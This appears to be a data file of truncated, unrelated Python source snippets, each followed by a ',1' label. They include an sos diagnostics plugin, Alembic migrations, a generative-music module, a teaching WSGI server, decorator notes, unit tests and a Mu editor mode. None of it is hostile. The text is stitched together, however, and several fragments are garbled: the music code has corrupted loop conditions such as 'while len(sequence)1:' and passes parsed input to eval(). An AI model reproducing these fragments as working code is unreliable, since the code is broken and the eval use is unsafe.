timeout=0.01) instance = motorserver(SERVICE_NAME, SERVICE_PORT, port) instance.run() ",1 "it under the terms of the GNU General Public License as published by ## the Free Software Foundation; either version 2 of the License, or ## (at your option) any later version. ## This program is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ## GNU General Public License for more details. ## You should have received a copy of the GNU General Public License ## along with this program; if not, write to the Free Software ## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. from sos.plugins import Plugin, RedHatPlugin, DebianPlugin, UbuntuPlugin class SysVIPC(Plugin, RedHatPlugin, DebianPlugin, UbuntuPlugin): """"""SysV IPC related information """""" plugin_name = ""sysvipc"" def setup(self): self.add_copy_specs([ ""/proc/sysvipc/msg"", ""/proc/sysvipc/sem"", ""/proc/sysvipc/shm"" ]) self.add_cmd_output(""ipcs"") # vim: et ts=4 sw=4 ",1 "sed by Alembic. revision = '1212f113f03b' down_revision = '1f07ae132ac8' from alembic import op import sqlalchemy as sa UNITIES = dict(NONE="""", HOUR=u""heure(s)"", DAY=u""jour(s)"", WEEK=u""semaine(s)"", MONTH=u""mois"", FEUIL=u""feuillet(s)"", PACK=u""forfait"") UNITS = (u""heure(s)"", u""jour(s)"", u""semaine(s)"", u""mois"", u""forfait"", u""feuillet(s)"",) def translate_unity(unity): return UNITIES.get(unity, UNITIES[""NONE""]) def translate_inverse(unity): for key, value in UNITIES.items(): if unity == value: return key else: return u""NONE"" def upgrade(): from autonomie.models.task import WorkUnit from autonomie.models.task.estimation import EstimationLine from autonomie.models.task.invoice import InvoiceLine from autonomie.models.task.invoice import CancelInvoiceLine from autonomie_base.models.base import DBSESSION # Adding some characters to the Lines for table in ""estimation_line"", ""invoice_line"", ""cancelinvoice_line"": op.alter_column(table, ""unity"", type_=sa.String(100)) for value in UNITS: unit = WorkUnit(label=value) DBSESSION().add(unit) for factory in (EstimationLine, InvoiceLine, CancelInvoiceLine): for line in factory.query(): line.unity = translate_unity(line.unity) DBSESSION().merge(line) def downgrade(): from autonomie.models.task import WorkUnit from autonomie.models.task.estimation import EstimationLine from autonomie.models.task.invoice import InvoiceLine from autonomie.models.task.invoice import CancelInvoiceLine from autonomie_base.models.base import DBSESSION for factory in (EstimationLine, InvoiceLine, CancelInvoiceLine): for line in factory.query(): line.unity = translate_inverse(line.unity) DBSESSION().merge(line) for value in WorkUnit.query(): DBSESSION().delete(value) ",1 "it__(self, typ=None, intensity=0, size=0, gen=0, cho=0): self._type = typ #""n1"", ""n2"", ""bg"", ""ch"", ""ge"" if intensity<0 or gen<0 or cho<0 or size<0 or intensity>1 or size>1 or gen>1 or cho>1: raise ValueError (""Invalid Values for Structure Part"") self._intensity = intensity # [0-1] self._size = size # [0-1] self._genover = gen # [0-1] overlay of general type lines self._chover = cho # [0-1] overlay of chorus type lines def __repr__(self): return ""["" + self._type + ""-"" + str(self._intensity) + ""-"" + str(self._size) + ""-"" + str(self._genover) + ""-"" + str(self._chover) + ""]"" @classmethod def fromString(cls, string): # [n1-0.123-1-0.321-0.2] type, intensity, size, genoverlay, chooverlay while string[0] == "" "": string = string[1:] while string[0] == ""\n"": string = string[1:] while string[-1] == "" "": string = string[:-1] while string[-1] == ""\0"": string = string[:-1] while string[-1] == ""\n"": string = string[:-1] if len(string)<8: raise ValueError(""Invalid Part string: ""+string) if string[0] == ""["" and string[-1] == ""]"": string = string[1:-1] else: raise ValueError(""Invalid Part string: ""+string) typ = string[:2] string = string[3:] if not typ in (""n1"", ""n2"", ""bg"", ""ch"", ""ge""): raise ValueError(""Invalid Part Type string: ""+typ) valstrings = str.split(string, ""-"") inten = eval(valstrings[0]) size = eval(valstrings[1]) gen = eval(valstrings[2]) cho = eval(valstrings[3]) return cls(typ, inten, size, gen, cho) def getTheme(self, pal): if self._type == ""n1"": return pal._n1 if self._type == ""n2"": return pal._n2 if self._type == ""bg"": return pal._bg if self._type == ""ch"": return pal._ch if self._type == ""ge"": return pal._ge def getAudio(self, pal, bpm): base = self.baseDur(pal, bpm) total = base + 3000 #extra time for last note to play nvoic = math.ceil(self._intensity * self.getTheme(pal).countVoices()) try: ngeno = math.ceil(self._genover * pal._ge.countVoices()) except: ngeno = 0 try: nchoo = math.ceil(self._chover * pal._ch.countVoices()) except: nchoo = 0 sound = AudioSegment.silent(total) them = self.getTheme(pal) for i in range(nvoic): voic = them._sorting[i].getVoice(them) print(them._sorting[i].indicationStr(them)) #DEBUG !! vsound = voic.partialAudio(self._size, bpm) sound = sound.overlay(vsound) them = pal._ge for i in range(ngeno): voic = them._sorting[i].getVoice(them) print(them._sorting[i].indicationStr(them)) #DEBUG !! vsound = voic.partialAudio(self._size, bpm) sound = sound.overlay(vsound) them = pal._ch for i in range(nchoo): voic = them._sorting[i].getVoice(them) print(them._sorting[i].indicationStr(them)) #DEBUG !! vsound = voic.partialAudio(self._size, bpm) sound = sound.overlay(vsound) return sound def baseDur(self, pal, bpm): #get the base duration of this part of the song return self.getTheme(pal).baseDurForStruct(self._size, bpm) class Structure: def __init__(self): self._parts = () def add(self, part): self._parts = self._parts+(part,) def __repr__(self): return ""@STRUCTURE:"" + str(self._parts) def baseDur(self, pal, bpm=None): if bpm == None: bpm = pal._bpm curTime = 0 for p in self._parts: curTime = curTime + p.baseDur(pal, bpm) return curTime def songAudio(self, pal, bpm=None): if bpm == None: bpm = pal._bpm total = self.baseDur(pal, bpm) + 3000 # 3 seconds for last note to play sound = AudioSegment.silent(total) curTime = 0 for p in self._parts: paudio = p.getAudio(pal, bpm) sound = sound.overlay(paudio, curTime) curTime = curTime + p.baseDur(pal, bpm) print(""curTime:"",curTime) return sound # wselect WeightedSelect returns element of dictionary based on dict weights {element:weight} def wselect(dicti): total=0 for i in list(dicti): total = total + dicti[i] indice = total*random.random() for i in list(dicti): if dicti[i]>=indice: return i indice = indice - dicti[i] raise ValueError (""something went wrong"") # rselect RandomSelect returns random element of list def rselect(lista): return random.choice(lista) def lenweights(): return {3:1, 4:1, 5:2, 6:3, 7:4, 8:3, 9:2, 10:1, 11:1} def stweights(): return {""n1"":5, ""n2"":4, ""ch"":2, ""bg"":1} def n1weights(): return {""n1"":4, ""n2"":2, ""ch"":3, ""bg"":1} def n2weights(): return {""n1"":2, ""n2"":3, ""ch"":4, ""bg"":2} def chweights(): return {""n1"":2, ""n2"":1, ""ch"":4, ""bg"":1} def bgweights(): return {""n1"":1, ""n2"":1, ""ch"":20, ""bg"":8} def typeSequence(size): last = wselect(stweights()) sequence=(last,) while len(sequence)1: val = 1 sequence = sequence + (val,) return sequence def soweights(): return {0:6, 0.1:2, 0.2:1} def deltoweights(): return {-0.2:1, -0.1:1, 0:8, 0.1:2, 0.2:2} def overlaySequence(size): val = wselect(soweights()) sequence = (val,) while len(sequence)1: val = 1 sequence = sequence + (val,) return sequence def ssweights(): return {0.2:1, 0.4:1, 0.6:1, 0.8:1, 1:16} def sizeSequence(size): sequence = () while len(sequence) ### Files # The static html file that is output. Must be writable by the user running # environd. Presumably this is in the www directory of a web server. www_out = ""/var/www/environd.html"" # The template to use for generating static html. # Must be readable by the user running environd. html_template = ""/opt/environd/template/environd.tpl"" # The (flat text) database file. # Must be writable by the user running environd, and must exist, even if empty. database = ""/opt/environd/database/temperature_readings.json"" # The log file. Must be writable by the user running environd. log_file = ""/var/log/environd.log"" # Format of the timestamping used internally. # Does not impact presentation unless presented values are omitted. datetime_func_format = ""%Y%m%dT%H%M%S"" ### Tinker/Debug # Set to True to print all log messages to the terminal, or False to suppress # most output. terminal_verbosity = True # The size in mb after which the db file is rotated. # The entire db is loaded in to memory, but each reading is a mere 60-80 # bytes, so 100 megs is about 10 years of recording every 15 minutes. max_db_file_size = 100 # mb ",1 "# # # # Tested with Python 2.7.9 on Ubuntu 14.04 & Mac OS X # ########################################################################### import errno import os import signal import socket import StringIO import sys def grim_reaper(signum, frame): while True: try: pid, status = os.waitpid( -1, # Wait for any child process os.WNOHANG # Do not block and return EWOULDBLOCK error ) print( 'Child {pid} terminated with status {status}' '\n'.format(pid=pid, status=status) ) except OSError: return if pid == 0: # no more zombies return class WSGIServer(object): address_family = socket.AF_INET socket_type = socket.SOCK_STREAM request_queue_size = 1024 def __init__(self, server_address): # Create a listening socket self.listen_socket = listen_socket = socket.socket( self.address_family, self.socket_type ) # Allow to reuse the same address listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Bind listen_socket.bind(server_address) # Activate listen_socket.listen(self.request_queue_size) # Get server host name and port host, port = self.listen_socket.getsockname()[:2] self.server_name = socket.getfqdn(host) self.server_port = port # Return headers set by Web framework/Web application self.headers_set = [] def set_app(self, application): self.application = application def serve_forever(self): listen_socket = self.listen_socket while True: try: self.client_connection, client_address = listen_socket.accept() except IOError as e: code, msg = e.args # restart 'accept' if it was interrupted if code == errno.EINTR: continue else: raise pid = os.fork() if pid == 0: # child listen_socket.close() # close child copy # Handle one request and close the client connection. self.handle_one_request() os._exit(0) else: # parent self.client_connection.close() # close parent copy def handle_one_request(self): self.request_data = request_data = self.client_connection.recv(1024) # Print formatted request data a la 'curl -v' print(''.join( '< {line}\n'.format(line=line) for line in request_data.splitlines() )) self.parse_request(request_data) # Construct environment dictionary using request data env = self.get_environ() # It's time to call our application callable and get # back a result that will become HTTP response body result = self.application(env, self.start_response) # Construct a response and send it back to the client self.finish_response(result) def parse_request(self, text): request_line = text.splitlines()[0] request_line = request_line.rstrip('\r\n') # Break down the request line into components (self.request_method, # GET self.path, # /hello self.request_version # HTTP/1.1 ) = request_line.split() def get_environ(self): env = {} # The following code snippet does not follow PEP8 conventions # but it's formatted the way it is for demonstration purposes # to emphasize the required variables and their values # # Required WSGI variables env['wsgi.version'] = (1, 0) env['wsgi.url_scheme'] = 'http' env['wsgi.input'] = StringIO.StringIO(self.request_data) env['wsgi.errors'] = sys.stderr env['wsgi.multithread'] = False env['wsgi.multiprocess'] = False env['wsgi.run_once'] = False # Required CGI variables env['REQUEST_METHOD'] = self.request_method # GET env['PATH_INFO'] = self.path # /hello env['SERVER_NAME'] = self.server_name # localhost env['SERVER_PORT'] = str(self.server_port) # 8888 return env def start_response(self, status, response_headers, exc_info=None): # Add necessary server headers server_headers = [ ('Date', 'Tue, 31 Mar 2015 12:54:48 GMT'), ('Server', 'WSGIServer 0.2'), ] self.headers_set = [status, response_headers + server_headers] # To adhere to WSGI specification the start_response must return # a 'write' callable. We simplicity's sake we'll ignore that detail # for now. # return self.finish_response def finish_response(self, result): try: status, response_headers = self.headers_set response = 'HTTP/1.1 {status}\r\n'.format(status=status) for header in response_headers: response += '{0}: {1}\r\n'.format(*header) response += '\r\n' for data in result: response += data # Print formatted response data a la 'curl -v' print(''.join( '> {line}\n'.format(line=line) for line in response.splitlines() )) self.client_connection.sendall(response) finally: self.client_connection.close() SERVER_ADDRESS = (HOST, PORT) = '', 8888 def make_server(server_address, application): signal.signal(signal.SIGCHLD, grim_reaper) server = WSGIServer(server_address) server.set_app(application) return server if __name__ == '__main__': if len(sys.argv) < 2: sys.exit('Provide a WSGI application object as module:callable') app_path = sys.argv[1] module, application = app_path.split(':') module = __import__(module) application = getattr(module, application) httpd = make_server(SERVER_ADDRESS, application) print('WSGIServer: Serving HTTP on port {port} ...\n'.format(port=PORT)) httpd.serve_forever() ",1 "compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # """"""nsx_gw_devices Revision ID: 19180cf98af6 Revises: 117643811bca Create Date: 2014-02-26 02:46:26.151741 """""" # revision identifiers, used by Alembic. revision = '19180cf98af6' down_revision = '117643811bca' # Change to ['*'] if this migration applies to all plugins migration_for_plugins = [ 'neutron.plugins.nicira.NeutronPlugin.NvpPluginV2', 'neutron.plugins.nicira.NeutronServicePlugin.NvpAdvancedPlugin', 'neutron.plugins.vmware.plugin.NsxPlugin', 'neutron.plugins.vmware.plugin.NsxServicePlugin' ] from alembic import op import sqlalchemy as sa from neutron.db import migration def upgrade(active_plugins=None, options=None): if not migration.should_run(active_plugins, migration_for_plugins): return op.create_table( 'networkgatewaydevicereferences', sa.Column('id', sa.String(length=36), nullable=False), sa.Column('network_gateway_id', sa.String(length=36), nullable=True), sa.Column('interface_name', sa.String(length=64), nullable=True), sa.ForeignKeyConstraint(['network_gateway_id'], ['networkgateways.id'], ondelete='CASCADE'), sa.PrimaryKeyConstraint('id', 'network_gateway_id', 'interface_name'), mysql_engine='InnoDB') # Copy data from networkgatewaydevices into networkgatewaydevicereference op.execute(""INSERT INTO networkgatewaydevicereferences SELECT "" ""id, network_gateway_id, interface_name FROM "" ""networkgatewaydevices"") # drop networkgatewaydevices op.drop_table('networkgatewaydevices') op.create_table( 'networkgatewaydevices', sa.Column('tenant_id', sa.String(length=255), nullable=True), sa.Column('id', sa.String(length=36), nullable=False), sa.Column('nsx_id', sa.String(length=36), nullable=True), sa.Column('name', sa.String(length=255), nullable=True), sa.Column('connector_type', sa.String(length=10), nullable=True), sa.Column('connector_ip', sa.String(length=64), nullable=True), sa.Column('status', sa.String(length=16), nullable=True), sa.PrimaryKeyConstraint('id'), mysql_engine='InnoDB') # Create a networkgatewaydevice for each existing reference. # For existing references nsx_id == neutron_id # Do not fill conenctor info as they would be unknown op.execute(""INSERT INTO networkgatewaydevices (id, nsx_id) SELECT "" ""id, id as nsx_id FROM networkgatewaydevicereferences"") def downgrade(active_plugins=None, options=None): if not migration.should_run(active_plugins, migration_for_plugins): return op.drop_table('networkgatewaydevices') # Re-create previous version of networkgatewaydevices table op.create_table( 'networkgatewaydevices', sa.Column('id', sa.String(length=36), nullable=False), sa.Column('network_gateway_id', sa.String(length=36), nullable=True), sa.Column('interface_name', sa.String(length=64), nullable=True), sa.ForeignKeyConstraint(['network_gateway_id'], ['networkgateways.id'], ondelete='CASCADE'), sa.PrimaryKeyConstraint('id'), mysql_engine='InnoDB') # Copy from networkgatewaydevicereferences to networkgatewaydevices op.execute(""INSERT INTO networkgatewaydevices SELECT "" ""id, network_gateway_id, interface_name FROM "" ""networkgatewaydevicereferences"") # Dropt networkgatewaydevicereferences op.drop_table('networkgatewaydevicereferences') ",1 "es"""""" def __init__(self, subtype, msg=None): if msg is None: msg = ""An error occured for subtype {}"".format(subtype) super(PhylotyperError, self).__init__(msg) self.subtype = subtype class ValuesError(PhylotyperError): """"""Unknown subtype"""""" def __init__(self, subtype, msg=None): super(PhylotyperError, self).__init__( subtype, msg=""Unrecognized subtype {}"".format(subtype)) class DatabaseError(PhylotyperError): """"""Missing data in Database"""""" def __init__(self, subtype, data, msg=None): m = ""Database is missing data {} for {}"".format(data, subtype) super(PhylotyperError, self).__init__(subtype, m) self.data = data",1 "onstraints of the market? Remember - buy low, sell high, and you can't sell before you buy. Sample Input 19.35 19.30 18.88 18.93 18.95 19.03 19.00 18.97 18.97 18.98 ''' import argparse def parse_args(): parser = argparse.ArgumentParser(description='easy 249') parser.add_argument('stock_prices', action='store', nargs='+', help='prices of a given stock') return parser.parse_args() def stock(stock_prices): buy_day = 0 max_profit = 0 max_buy = 0 max_sell = 0 for buy_day in range(len(stock_prices) - 2): # maybe do a max(here) for sell_day in range(buy_day + 2, len(stock_prices)): profit = stock_prices[sell_day] - stock_prices[buy_day] if profit > max_profit: max_profit = profit max_buy = buy_day max_sell = sell_day print(""max profit: %.2f from buy on day %d at %.2f sell on day %d at %.2f"" % (max_profit, max_buy, stock_prices[max_buy], max_sell, stock_prices[max_sell])) if __name__ == '__main__': args = parse_args() stock([float(price) for price in args.stock_prices]) ",1 "rk for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # ""License""); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. '''Unit tests for the Dataset.py module''' import unittest from ocw.dataset import Dataset, Bounds import numpy as np import datetime as dt class TestDatasetAttributes(unittest.TestCase): def setUp(self): self.lat = np.array([10, 12, 14, 16, 18]) self.lon = np.array([100, 102, 104, 106, 108]) self.time = np.array([dt.datetime(2000, x, 1) for x in range(1, 13)]) flat_array = np.array(range(300)) self.value = flat_array.reshape(12, 5, 5) self.variable = 'prec' self.name = 'foo' self.origin = {'path': '/a/fake/file/path'} self.test_dataset = Dataset(self.lat, self.lon, self.time, self.value, variable=self.variable, name=self.name, origin=self.origin) def test_lats(self): self.assertItemsEqual(self.test_dataset.lats, self.lat) def test_lons(self): self.assertItemsEqual(self.test_dataset.lons, self.lon) def test_times(self): self.assertItemsEqual(self.test_dataset.times, self.time) def test_values(self): self.assertEqual(self.test_dataset.values.all(), self.value.all()) def test_variable(self): self.assertEqual(self.test_dataset.variable, self.variable) def test_name(self): self.assertEqual(self.test_dataset.name, self.name) def test_origin(self): self.assertEqual(self.test_dataset.origin, self.origin) class TestInvalidDatasetInit(unittest.TestCase): def setUp(self): self.lat = np.array([10, 12, 14, 16, 18]) self.lon = np.array([100, 102, 104, 106, 108]) self.time = np.array([dt.datetime(2000, x, 1) for x in range(1, 13)]) flat_array = np.array(range(300)) self.value = flat_array.reshape(12, 5, 5) self.values_in_wrong_order = flat_array.reshape(5, 5, 12) def test_bad_lat_shape(self): self.lat = np.array([[1, 2], [3, 4]]) with self.assertRaises(ValueError): Dataset(self.lat, self.lon, self.time, self.value, 'prec') def test_bad_lon_shape(self): self.lon = np.array([[1, 2], [3, 4]]) with self.assertRaises(ValueError): Dataset(self.lat, self.lon, self.time, self.value, 'prec') def test_bad_times_shape(self): self.time = np.array([[1, 2], [3, 4]]) with self.assertRaises(ValueError): Dataset(self.lat, self.lon, self.time, self.value, 'prec') def test_bad_values_shape(self): self.value = np.array([1, 2, 3, 4, 5]) with self.assertRaises(ValueError): Dataset(self.lat, self.lon, self.time, self.value, 'prec') def test_values_shape_mismatch(self): # If we change lats to this the shape of value will not match # up with the length of the lats array. self.lat = self.lat[:-2] with self.assertRaises(ValueError): Dataset(self.lat, self.lon, self.time, self.value, 'prec') def test_values_given_in_wrong_order(self): with self.assertRaises(ValueError): Dataset(self.lat, self.lon, self.time, self.values_in_wrong_order) def test_lons_values_incorrectly_gridded(self): times = np.array([dt.datetime(2000, x, 1) for x in range(1, 13)]) lats = np.arange(-30, 30) bad_lons = np.arange(360) flat_array = np.arange(len(times) * len(lats) * len(bad_lons)) values = flat_array.reshape(len(times), len(lats), len(bad_lons)) ds = Dataset(lats, bad_lons, times, values) np.testing.assert_array_equal(ds.lons, np.arange(-180, 180)) def test_reversed_lats(self): ds = Dataset(self.lat[::-1], self.lon, self.time, self.value) np.testing.assert_array_equal(ds.lats, self.lat) class TestDatasetFunctions(unittest.TestCase): def setUp(self): self.lat = np.array([10, 12, 14, 16, 18]) self.lon = np.array([100, 102, 104, 106, 108]) self.time = np.array([dt.datetime(2000, x, 1) for x in range(1, 13)]) flat_array = np.array(range(300)) self.value = flat_array.reshape(12, 5, 5) self.variable = 'prec' self.test_dataset = Dataset(self.lat, self.lon, self.time, self.value, self.variable) def test_spatial_boundaries(self): self.assertEqual( self.test_dataset.spatial_boundaries(), (min(self.lat), max(self.lat), min(self.lon), max(self.lon))) def test_time_range(self): self.assertEqual( self.test_dataset.time_range(), (dt.datetime(2000, 1, 1), dt.datetime(2000, 12, 1))) def test_spatial_resolution(self): self.assertEqual(self.test_dataset.spatial_resolution(), (2, 2)) def test_temporal_resolution(self): self.assertEqual(self.test_dataset.temporal_resolution(), 'monthly') class TestBounds(unittest.TestCase): def setUp(self): self.bounds = Bounds(-80, 80, # Lats -160, 160, # Lons dt.datetime(2000, 1, 1), # Start time dt.datetime(2002, 1, 1)) # End time # Latitude tests def test_inverted_min_max_lat(self): with self.assertRaises(ValueError): self.bounds.lat_min = 81 with self.assertRaises(ValueError): self.bounds.lat_max = -81 # Lat Min def test_out_of_bounds_lat_min(self): with self.assertRaises(ValueError): self.bounds.lat_min = -91 with self.assertRaises(ValueError): self.bounds.lat_min = 91 # Lat Max def test_out_of_bounds_lat_max(self): with self.assertRaises(ValueError): self.bounds.lat_max = -91 with self.assertRaises(ValueError): self.bounds.lat_max = 91 # Longitude tests def test_inverted_max_max_lon(self): with self.assertRaises(ValueError): self.bounds.lon_min = 161 with self.assertRaises(ValueError): self.bounds.lon_max = -161 # Lon Min def test_out_of_bounds_lon_min(self): with self.assertRaises(ValueError): self.bounds.lon_min = -181 with self.assertRaises(ValueError): self.bounds.lon_min = 181 # Lon Max def test_out_of_bounds_lon_max(self): with self.assertRaises(ValueError): self.bounds.lon_max = -181 with self.assertRaises(ValueError): self.bounds.lon_max = 181 # Temporal tests def test_inverted_start_end_times(self): with self.assertRaises(ValueError): self.bounds.start = dt.datetime(2003, 1, 1) with self.assertRaises(ValueError): self.bounds.end = dt.datetime(1999, 1, 1) # Start tests def test_invalid_start(self): with self.assertRaises(ValueError): self.bounds.start = ""This is not a date time object"" # End tests def test_invalid_end(self): with self.assertRaises(ValueError): self.bounds.end = ""This is not a date time object"" if __name__ == '__main__': unittest.main() ",1 " call_count = 0 def count(func): def wrapper(*args, **kw): global call_count call_count += 1 return func(*args, **kw) return wrapper def hello(): print 'Invoked hello' hello = count(hello) ## Now decorating hello to increment call count hello() print call_count hello() print call_count """""" ## Syntactic Sugar >>> @count ... def hello(): ... print ""Invoked hello"" equals hello = count(hello) ## Syntactic Sugar 2 Dont add parens to the decorator >>> @count() ... def hello(): ... print ""Invoked hello"" ... Traceback (most recent call last): File """", line 1, in TypeError: count() takes exactly 1 argument (0 given) >>> ##Decorator Template def decorator(func_to_decorate): def wrapper(*args, **kwargs): # do something before invocation result = func_to_decorate(*args,**kwargs) # do something after invocation return result #update wrapper.__doc__ and .func_name # or functools.wraps return wrapper ##Decorators can also be classes, to have a class that Decorates class decorator(object): def __init__(self, function): self.function = function def __call__(self, *args, **kw): # do something before invocation result = self.function(*args, **kw) # do something after return result ##Decorators can also be classes 2, to have a instance that Decorates class decorator(object): def __init__(self, function): self.function = function def __call__(self, *args, **kw): def wrapper(*args, **kw): # do something before invocation result = self.function(*args, **kw) # do something after return result return wrapper ## The aboves lets you have an instance of a decorator that stores state (rather than using global state) ## Parameterized decorators (need 2 closures) def limit(length): def decorator(function): def wrapper(*args, **kw): result = function(*args, **kw) result = result[:length] return result return wrapper return decorator >>> @limit(5) ## Decorating the simple function echo with limit 5 as parameter ... def echo(foo): ... return foo ... >>> echo ('123456') '12345' >>> Or you can use following as well , to limit the echo function with 3 as parameter >>> echo = limit(3)(echo) >>> echo ('123456') '123' >>> ## Decorator Tidying function attributes get mangled >>> def echo2(input): ... ###return input### I used ### instead of 3 coz that was causing some error ... return input ... >>> echo2.__doc__ 'return input' >>> echo2.func_name 'echo2' >>> >>> echo3 = limit(3)(echo2) >>> echo3.__doc__ >>> echo3.func_name 'wrapper' >>> #Now to fix above define your limit decorator as below def limit(length): def decorator(function): def wrapper(*args, **kw): result = function(*args, **kw) result = result[:length] return result wrapper.__doc__ = function.__doc__ wrapper.func_name = function.func_name return wrapper return decorator >>> echo4 = limit(3)(echo2) >>> echo4.__doc__ 'return input' >>> echo4.func_name 'echo2' >>> #Decorator tidying (3) , using functools , more simple import functools def limit(length): def decorator(function): @functools.wraps(function) def wrapper(*args, **kw): result = function(*args, **kw) result = result[:length] return result #wrapper.__doc__ = function.__doc__ #wrapper.func_name = function.func_name return wrapper return decorator Uses for decorator - caching - monkey patching stdio - memoize - jsonify - logging time in function call - change cwd """""" def cwd_decorator(func): """""" decorator to change cwd to directory containing rst for this function """""" def wrapper(*args, **kw): cur_dir = os.getcwd() found = False for arg in sys.argv: if arg.endswith("".rst""): found = arg break if found: directory = os.path.dirname(arg) if directory: os.chdir(directory) data = func(*args, **kw) os.chdir(cur_dir) return data return wrapper """""" ### Properties Call get/set methods via an instance attributes class C(object): def getx(self): return self._x def setx(self, value): self._x = value def delx(self): del self._x x = property(getx, setx, delx, ""I'm the 'x' property."") from property.__doc__ """""" import os def find_files(base_dir, recurse=True): """""" yeild files found in base_dir """""" for name in os.listdir(base_dir): filepath = os.path.join(base_dir, name) if os.path.isdir(filepath) and recurse: for child in find_files(filepath, recurse): yield child else: yield filepath ",1 "ERE, ""README.rst"")) as f: README = f.read() with open(os.path.join(HERE, ""CHANGES.rst"")) as f: CHANGES = f.read() REQUIREMENTS_TEST = open(os.path.join(HERE, ""requirements_test.txt"")).readlines() REQUIREMENTS = [ ""botocore>=0.89.0"", ] if __name__ == ""__main__"": setup( name=""dynamo3"", version=""1.0.0"", description=""Python 3 compatible library for DynamoDB"", long_description=README + ""\n\n"" + CHANGES, classifiers=[ ""Development Status :: 4 - Beta"", ""Intended Audience :: Developers"", ""License :: OSI Approved :: MIT License"", ""Operating System :: OS Independent"", ""Programming Language :: Python"", ""Programming Language :: Python :: 3"", ""Programming Language :: Python :: 3.6"", ""Programming Language :: Python :: 3.7"", ""Programming Language :: Python :: 3.8"", ""Programming Language :: Python :: 3.9"", ], author=""Steven Arcangeli"", author_email=""stevearc@stevearc.com"", url=""http://github.com/stevearc/dynamo3"", keywords=""aws dynamo dynamodb"", include_package_data=True, packages=find_packages(exclude=(""tests"",)), license=""MIT"", entry_points={ ""console_scripts"": [ ""dynamodb-local = dynamo3.testing:run_dynamo_local"", ], ""nose.plugins"": [ ""dynamolocal=dynamo3.testing:DynamoLocalPlugin"", ], }, python_requires="">=3.6"", install_requires=REQUIREMENTS, tests_require=REQUIREMENTS + REQUIREMENTS_TEST, ) ",1 "ree software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . """""" import os import ctypes import logging from subprocess import check_output from mu.modes.base import MicroPythonMode from mu.modes.api import ADAFRUIT_APIS, SHARED_APIS from mu.interface.panes import CHARTS from mu.logic import Device from adafruit_board_toolkit import circuitpython_serial logger = logging.getLogger(__name__) class CircuitPythonMode(MicroPythonMode): """""" Represents the functionality required by the CircuitPython mode. """""" name = _(""CircuitPython"") short_name = ""circuitpython"" description = _(""Write code for boards running CircuitPython."") icon = ""circuitpython"" save_timeout = 0 #: No auto-save on CP boards. Will restart. connected = True #: is the board connected. force_interrupt = False #: NO keyboard interrupt on serial connection. # Modules built into CircuitPython which mustn't be used as file names # for source code. module_names = { ""_bleio"", ""_eve"", ""_pew"", ""_pixelbuf"", ""_stage"", ""_typing"", ""adafruit_bus_device"", ""aesio"", ""alarm"", ""array"", ""analogio"", ""audiobusio"", ""audiocore"", ""audioio"", ""audiomixer"", ""audiomp3"", ""audiopwmio"", ""binascii"", ""bitbangio"", ""bitmaptools"", ""bitops"", ""board"", ""builtins"", ""busio"", ""camera"", ""canio"", ""collections"", ""countio"", ""digitalio"", ""displayio"", ""dualbank"", ""errno"", ""fontio"", ""framebufferio"", ""frequencyio"", ""gamepad"", ""gamepadshift"", ""gc"", ""gnss"", ""hashlib"", ""i2cperipheral"", ""io"", ""ipaddress"", ""json"", ""math"", ""memorymonitor"", ""microcontroller"", ""msgpack"", ""multiterminal"", ""neopixel_write"", ""network"", ""nvm"", ""os"", ""ps2io"", ""pulseio"", ""pwmio"", ""random"", ""re"", ""rgbmatrix"", ""rotaryio"", ""rtc"", ""sdcardio"", ""sdioio"", ""sharpdisplay"", ""socket"", ""socketpool"", ""ssl"", ""storage"", ""struct"", ""supervisor"", ""sys"", ""terminalio"", ""time"", ""touchio"", ""uheap"", ""usb_cdc"", ""usb_hid"", ""usb_midi"", ""ustack"", ""vectorio"", ""watchdog"", ""wifi"", ""wiznet"", ""zlib"", } def actions(self): """""" Return an ordered list of actions provided by this module. An action is a name (also used to identify the icon) , description, and handler. """""" buttons = [ { ""name"": ""serial"", ""display_name"": _(""Serial""), ""description"": _(""Open a serial connection to your device.""), ""handler"": self.toggle_repl, ""shortcut"": ""CTRL+Shift+U"", } ] if CHARTS: buttons.append( { ""name"": ""plotter"", ""display_name"": _(""Plotter""), ""description"": _(""Plot incoming REPL data.""), ""handler"": self.toggle_plotter, ""shortcut"": ""CTRL+Shift+P"", } ) return buttons def workspace_dir(self): """""" Return the default location on the filesystem for opening and closing files. """""" device_dir = None # Attempts to find the path on the filesystem that represents the # plugged in CIRCUITPY board. if os.name == ""posix"": # We're on Linux or OSX for mount_command in [""mount"", ""/sbin/mount""]: try: mount_output = check_output(mount_command).splitlines() mounted_volumes = [x.split()[2] for x in mount_output] for volume in mounted_volumes: tail = os.path.split(volume)[-1] if tail.startswith(b""CIRCUITPY"") or tail.startswith( b""PYBFLASH"" ): device_dir = volume.decode(""utf-8"") break except FileNotFoundError: pass except PermissionError as e: logger.error( ""Received '{}' running command: {}"".format( repr(e), mount_command ) ) m = _(""Permission error running mount command"") info = _( 'The mount command (""{}"") returned an error: ' ""{}. Mu will continue as if a device isn't "" ""plugged in."" ).format(mount_command, repr(e)) self.view.show_message(m, info) # Avoid crashing Mu, the workspace dir will be set to default except Exception as e: logger.error( ""Received '{}' running command: {}"".format( repr(e), mount_command ) ) elif os.name == ""nt"": # We're on Windows. def get_volume_name(disk_name): """""" Each disk or external device connected to windows has an attribute called ""volume name"". This function returns the volume name for the given disk/device. Code from 